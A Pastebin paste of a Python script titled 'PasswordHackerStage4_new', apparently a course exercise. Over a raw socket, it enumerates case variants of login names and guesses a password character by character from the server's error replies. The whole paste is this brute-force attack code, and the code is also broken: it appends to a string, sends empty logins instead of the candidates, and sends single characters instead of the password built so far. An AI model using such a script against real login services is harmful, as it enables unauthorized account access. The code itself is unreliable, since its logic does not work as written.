MeowalsoMeow

PasswordHackerStage4_new

May 20th, 2021 (edited)
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. import sys
  2. import socket
  3. import itertools
  4. import json
  5. import string
  6.  
  7.  
  8. def get_name_variants():
  9. name_vars = []
  10. with open(r"C:\Users\linyu\Downloads\logins.txt", 'r', encoding='utf-8') as f:
  11. names = f.read().strip('\n').splitlines()
  12. # print(names)
  13. for name in names:
  14. _vars = map("".join, itertools.product(*zip(name.upper(), name.lower())))
  15. for _var in _vars:
  16. name_vars.append(_var)
  17. # print(name_vars) correct variants
  18. return name_vars
  19.  
  20.  
  21. def get_server_response(json_msg):
  22. args = sys.argv
  23. with socket.socket() as client_socket:
  24. ip = args[1]
  25. port = int(args[2])
  26. address = (ip, port)
  27. client_socket.connect(address)
  28. client_socket.send(json_msg.encode())
  29. return client_socket.recv(1024).decode() # returns json
  30.  
  31.  
  32. def get_name():
  33. lis = get_name_variants()
  34. for i in lis:
  35. x = json.loads(get_server_response(json.dumps({"login": "", "password": ""})))
  36. if x["result"] == 'Wrong password!' or x["result"] == 'Exception happened during login':
  37. print(f"log in name is {i}")
  38. return i
  39.  
  40.  
  41. def get_pw():
  42. global login
  43. login = get_name()
  44. symbols = string.printable
  45. password = ""
  46. while True:
  47. for i in symbols:
  48. password.append(i)
  49. reply = get_server_response(json.dumps({"login": f"{login}", "password": f"{i}"}))
  50. reply = json.loads(reply)
  51. if reply["result"] == "Connection success!":
  52. return password
  53. elif reply["result"] == "Wrong password!":
  54. password = password[:-1]
  55. elif reply["result"] == "Exception happened during login":
  56. break
  57.  
  58.  
  59. login = ""
  60. print(json.dumps({"login": f"{login}", "password": f"{get_pw()}"}))
  61.  
Add Comment
Please, Sign In to add comment